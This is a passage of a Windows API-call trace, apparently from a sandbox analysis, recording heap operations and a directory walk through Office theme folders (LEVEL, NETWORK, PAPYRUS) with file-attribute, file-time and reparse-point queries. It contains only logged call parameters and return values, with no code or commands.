BaseAddress=0xf9dd00) returned 1 [0061.639] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0061.639] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0061.639] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0061.639] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8210 [0061.639] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfabbe0 [0061.639] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0061.639] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.639] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0061.639] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0061.639] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0061.639] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0061.639] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0061.639] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8230 [0061.639] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfac528 [0061.639] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0061.639] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.639] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0061.639] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0061.639] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0061.639] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0061.639] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0061.639] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8250 [0061.639] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfac630 [0061.639] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0061.639] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.640] GetLastError () returned 0x12 [0061.640] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0061.640] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0061.640] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.640] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0061.640] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0061.640] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.640] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.640] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.640] GetLastError () returned 0x12 [0061.640] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0061.640] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0061.640] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0061.640] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.640] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0061.640] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.640] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0061.641] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0061.641] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfadb90 [0061.641] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfadb90, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfadb90, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0061.641] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfadb90) returned 1 [0061.641] NtClose (Handle=0x190) returned 0x0 [0061.641] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.641] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.641] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0061.641] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0061.641] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.641] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfac738 [0061.641] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0061.641] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.641] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0061.641] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.641] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.641] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.641] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.641] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.641] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfac840 [0061.641] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0061.641] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8270 [0061.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfac948 [0061.642] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.642] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1 [0061.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.642] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.642] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8290 [0061.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfaca50 [0061.642] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.642] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.642] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.642] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa82b0 [0061.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfacb58 [0061.642] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.642] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.642] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.642] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa82d0 [0061.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfacc60 [0061.643] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.643] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.643] GetLastError () returned 0x12 [0061.643] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0061.643] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0061.643] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.643] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0061.643] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1 [0061.643] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.643] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.643] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.643] GetLastError () returned 0x12 [0061.643] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfac738) returned 1 [0061.643] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0061.643] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfac840) returned 1 [0061.643] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0061.643] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0061.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.643] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0061.663] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0061.663] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfadb90 [0061.663] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfadb90, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfadb90, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0061.663] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfadb90) returned 1 [0061.663] NtClose (Handle=0x184) returned 0x0 [0061.663] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.663] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.663] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0061.663] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0061.663] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.663] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfac840 [0061.663] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0061.663] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.663] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0061.663] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.663] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 